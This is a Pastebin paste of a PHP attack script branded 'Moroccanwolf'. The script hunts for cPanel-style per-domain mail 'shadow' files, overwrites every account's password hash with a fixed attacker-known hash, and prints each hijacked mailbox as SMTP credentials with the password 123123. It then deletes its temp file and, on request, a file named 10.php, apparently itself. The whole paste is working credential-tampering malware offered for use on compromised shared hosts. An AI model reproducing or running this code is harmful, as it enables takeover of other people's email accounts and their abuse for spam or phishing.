Advertisement
Guest User

Untitled

a guest
Apr 22nd, 2019
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. <?php
  2. echo "Moroccanwolf<br>";
  3.  
  4.  
  5. $pat=array("",'../','../../','../../../','../../../../','../../../../../','../../../../../../');
  6. $pass='$1$c5WCj0vT$pW/B8Jo3SKkcDsD1WrJtP0:16249::::::';
  7. foreach($pat as $pa){
  8. if(file_exists("$pa/etc")){
  9. $path="$pa/etc/";
  10. $a=scandir($path);
  11. foreach ($a as $b){
  12. if(@!eregi('.php',$b) && @!eregi('.txt',$b) && @!eregi('.html',$b) && @!eregi('htaccess',$b) && @!eregi('.ftp',$b))
  13. $file="$path/$b/shadow";
  14. if(file_exists($file)){
  15. $html=@file_get_contents($file);
  16. $html1=@str_replace(array("\n","\r", "\r\n" ," "), "", $html);
  17. $aa=@explode('::::::',$html1);
  18. foreach($aa as $aaa){
  19. if(!empty($aaa)){
  20. $ab=@explode(":$",$aaa);
  21. $abc=$ab[0];
  22. echo "$b|".'25'."|$abc@$b|".'123123'."<br>";
  23. $save=@fopen('456789123','ab');
  24. @fwrite($save,"$abc:$pass\r\n");
  25. }}
  26. $html2=@file_get_contents('456789123');
  27. $save1=@fopen($file,'w');
  28. @fwrite($save1,$html2);
  29. @unlink('456789123');
  30. @unlink('456789123');
  31. @unlink('456789123');
  32. }}}}
  33. if($_GET['mw']=='delete'){
  34. @unlink('10.php');
  35. @unlink('10.php');
  36. @unlink('10.php');
  37. }
  38. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement